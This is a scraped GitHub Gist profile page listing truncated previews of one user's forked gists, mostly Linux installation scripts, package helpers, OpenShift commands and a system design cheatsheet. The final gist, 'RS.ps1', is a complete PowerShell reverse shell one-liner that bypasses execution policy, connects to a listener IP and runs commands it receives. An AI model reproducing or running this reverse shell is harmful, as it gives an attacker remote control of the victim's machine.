Skip to content

Instantly share code, notes, and snippets.

View shizonic's full-sized avatar
💭
[ -n "$problems" ] && solve || chill

shizonic shizonic

💭
[ -n "$problems" ] && solve || chill
View GitHub Profile
@shizonic
shizonic / alpine-install.sh
Created May 5, 2020 09:01 — forked from thde/alpine-install.sh
A script to install alpine linux on a dedicated server. Tested on Hetzner, Kimsufi / OVH
#!/bin/sh
set -ex
PATH=/bin:/sbin:/usr/bin:/usr/sbin
KEYMAP="us us"
HOST=alpine
USER=anon
ROOT_FS=ext4
BOOT_FS=ext4
#!/bin/sh
# do something ...
exec sv stop SERVICE_NAME
@shizonic
shizonic / xp
Created April 26, 2020 12:20
my xbps helper script
#!/bin/sh
die() {
printf '\033[1;31m!>\033[m %s.\n' "$@" >&2
exit 1
}
log() {
printf '\033[1;32m=>\033[m %s.\n' "$@"
}
@shizonic
shizonic / fucktheskullofsystemd.sh
Created March 29, 2020 21:01 — forked from artixnous/fucktheskullofsystemd.sh
Fast convert systemd Arch to OpenRC Artix
#!/bin/sh
# nous,2019-2020
# How to use
# wget https://tiny.cc/fucksystemd
# chmod +x fucksystemd
# sudo ./fucksystemd
# Test Arch ISO installation:
# cfdisk /dev/sda
# Run skype in a container, requires pulseaudio
# (but I have a container for that)
#
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \
# -v $HOME/.Skype:/home/skype/.Skype \
# -e DISPLAY=unix$DISPLAY \
# --link pulseaudio:pulseaudio \
# -e PULSE_SERVER=pulseaudio \
# --device /dev/video0 \
# --name skype \
@shizonic
shizonic / kubernetes-openshift.md
Created February 5, 2020 13:32 — forked from 4nn0/kubernetes-openshift.md
Openshift / Kubernetes

Description

Some example commands for openshift/kubernetes, replace the oc with kubectl or otherwise

get all pods from all namespaces comma separated with namespace, pod name, container name, container image, pod status

oc get pods --all-namespaces -o go-template='{{range .items}}{{$status := .status.phase}}{{$namespace := .metadata.namespace}}{{$podname := .metadata.name}}{{range .spec.containers}}{{$namespace}}{{","}}{{$podname}}{{","}}{{.name}}{{","}}{{.image}}{{","}}{{$status}}{{"\n"}}{{end}}{{end}}'

get all pods from all namespaces comma separated with namespace, pod name, scc

oc get pods --all-namespaces -o go-template='{{range .items}}{{.metadata.namespace}},{{.metadata.name}},{{range $key, $element := .metadata.annotations}}{{if eq $key "openshift.io/scc"}}{{$element}}{{end}}{{end}}{{"\n"}}{{end}}'

get all sccs with attrubite .allowPrivilegedContainer true

@shizonic
shizonic / System Design.md
Created December 28, 2019 07:19 — forked from vasanthk/System Design.md
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
@shizonic
shizonic / README.md
Created December 4, 2019 19:02 — forked from gbrlsnchs/README.md
Void Linux Installation Guide (UEFI + chroot + brtfs + LUKS Encryption)

Void Linux installation guide!

Live image

Logging in

User is anon and password is voidlinux. The root user is root and has the same password. This document implies you're using the root user, so no sudo is used until the main user is created and used.

Setting keyboard layout

@shizonic
shizonic / 00-gentoo-installation-partitioning
Created November 28, 2019 11:59 — forked from renich/00-gentoo-installation-partitioning.bash
Install Gentoo Desktop into BtrFS subvolumes
#!/usr/bin/env bash
# WARNING!!
# This will obliterate all the data in your partition!! (not actually true, but act as if it was)
# Do NOT execute this script if you don't fully understand it!
# a few vars
amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' )
# create partitions
@shizonic
shizonic / RS.ps1
Created November 25, 2019 18:47 — forked from ohpe/RS.ps1
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"